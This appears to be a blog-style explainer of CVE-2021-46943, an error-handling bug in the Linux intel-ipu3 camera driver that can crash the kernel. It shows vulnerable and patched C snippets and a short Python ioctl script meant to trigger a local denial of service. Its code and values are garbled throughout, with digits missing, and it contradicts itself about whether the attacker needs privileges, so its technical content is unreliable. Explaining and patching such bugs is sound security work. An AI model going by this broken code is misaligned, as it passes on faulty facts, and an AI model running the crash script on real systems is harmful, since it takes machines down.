A serious vulnerability was identified and fixed in the Linux kernel, specifically in the intel-ipu3 media driver. This vulnerability, now known as CVE-2021-46943, involves improper error handling in the set_fmt function. Left unpatched, it could cause the system to misconfigure hardware, leading the machine to allocate enormous amounts of memory unexpectedly and crash with a kernel oops. In this deep dive, we explain what went wrong, show code examples, link to references, and walk you through how an attacker might trigger this bug.
What Is CVE-2021-46943?
At its core, CVE-2021-46943 exposes a flaw in the error handling logic used when configuring the format of media streams with Intel’s staging IPU3 camera chip driver in the Linux kernel. Specifically, when a user application (like a camera utility) calls the set_fmt ioctl handler and a failure occurs, the driver was still saving completely invalid settings into the device state.
This led to huge, bogus buffer sizes being stored inside the driver's configuration. When subsequent camera operations tried to allocate memory following these bogus values, the kernel attempted to allocate up to 4GB of RAM for a single frame buffer, even if the hardware and system had nowhere near enough resources. This behavior would either kill the process or, worse, crash the kernel.
Here's the kernel oops you might see due to this issue
[ 38.662975] ipu3-imgu 000:00:05.: swiotlb buffer is full (sz: 4096 bytes)
[ 38.662980] DMA: Out of SW-IOMMU space for 4096 bytes at device 000:00:05.
[ 38.663010] general protection fault: 000 [#1] PREEMPT SMP
What Code Caused This?
Let’s look at a simplified snippet showing the vulnerable logic. In the driver function handling the VIDIOC_S_FMT ioctl (in drivers/staging/media/ipu3/ipu3-v4l2.c):
Vulnerable Code Pattern
int ipu3_set_fmt(struct file *file, void *fh, struct v4l2_format *f)
{
int ret;
// Try to apply the new format
ret = try_apply_fmt(f);
// Even if ret is error, these assignments will still run!
dev->width = f->fmt.width;
dev->height = f->fmt.height;
dev->bytesperline = f->fmt.bytesperline;
dev->sizeimage = f->fmt.sizeimage;
return ret;
}
If try_apply_fmt() failed (due to unsupported format or a bug), the code still stores the bad width, height, and buffer size in the device struct. These values are then used (blindly) by the rest of the driver code leading to wild memory allocations.
The fix, as submitted and merged upstream, looks like this
int ipu3_set_fmt(struct file *file, void *fh, struct v4l2_format *f)
{
int ret;
ret = try_apply_fmt(f);
if (ret)
return ret; // On error, abort and do NOT save invalid config
dev->width = f->fmt.width;
dev->height = f->fmt.height;
dev->bytesperline = f->fmt.bytesperline;
dev->sizeimage = f->fmt.sizeimage;
return ;
}
Now, if the new format is invalid, the function exits immediately and leaves the previous, safe configuration alone.
Impact: How Could You Exploit This?
An unprivileged local user with access to the affected video device node (often /dev/video) could trigger the bug by sending purposely invalid VIDIOC_S_FMT requests to the driver.
Here’s a simplified "exploit" — in real code, you’d need root or video group access
import fcntl
import struct
# Definitions (may need adjustment per kernel version)
VIDIOC_S_FMT = xCD05605 # ioctl code for setting video format
VIDEO_DEVICE = '/dev/video'
# Bad format: Set absurd width/height values
width, height = 16384, 16384 # Large but still in range for struct
pixelformat = x47504A4D # MJPG
field =
bytesperline = width * 2
sizeimage = width * height * 2
fmt = struct.pack('IIIIII', width, height, pixelformat, field, bytesperline, sizeimage)
fmt_struct = struct.pack('I', ) + fmt # Type (V4L2_BUF_TYPE_VIDEO_CAPTURE)
with open(VIDEO_DEVICE, 'wb', buffering=) as videodev:
fcntl.ioctl(videodev, VIDIOC_S_FMT, fmt_struct) # Triggers the bug!
After running such code, the ipu3 driver would try to allocate multi-gigabyte buffers on the next capture, potentially crashing your system.
Who Was Affected?
This issue only impacts users with Intel IPU3 camera hardware using the (still staging) ipu3 driver. This includes select laptops or developer boards.
Respective kernel versions up to and through Linux 5.14 had the vulnerability; later releases contain the fix.
The original patch:
media: staging/intel-ipu3: Fix set_fmt error handling (kernel.org)
- Linux kernel git log search for ipu3 set_fmt
- V4L2 Video Format documentation
- CVE-2021-46943 entry at NVD
Conclusion
CVE-2021-46943 serves as a classic example of why careful error handling is crucial, especially in device drivers at the guts of your operating system. Even a single misplaced assignment can lead to kernel crashes or data loss — or be abused in local DoS attacks. If you use an affected kernel or hardware, update as soon as possible!
Timeline
Published on: 02/27/2024 19:04:06 UTC
Last modified on: 04/10/2024 19:54:14 UTC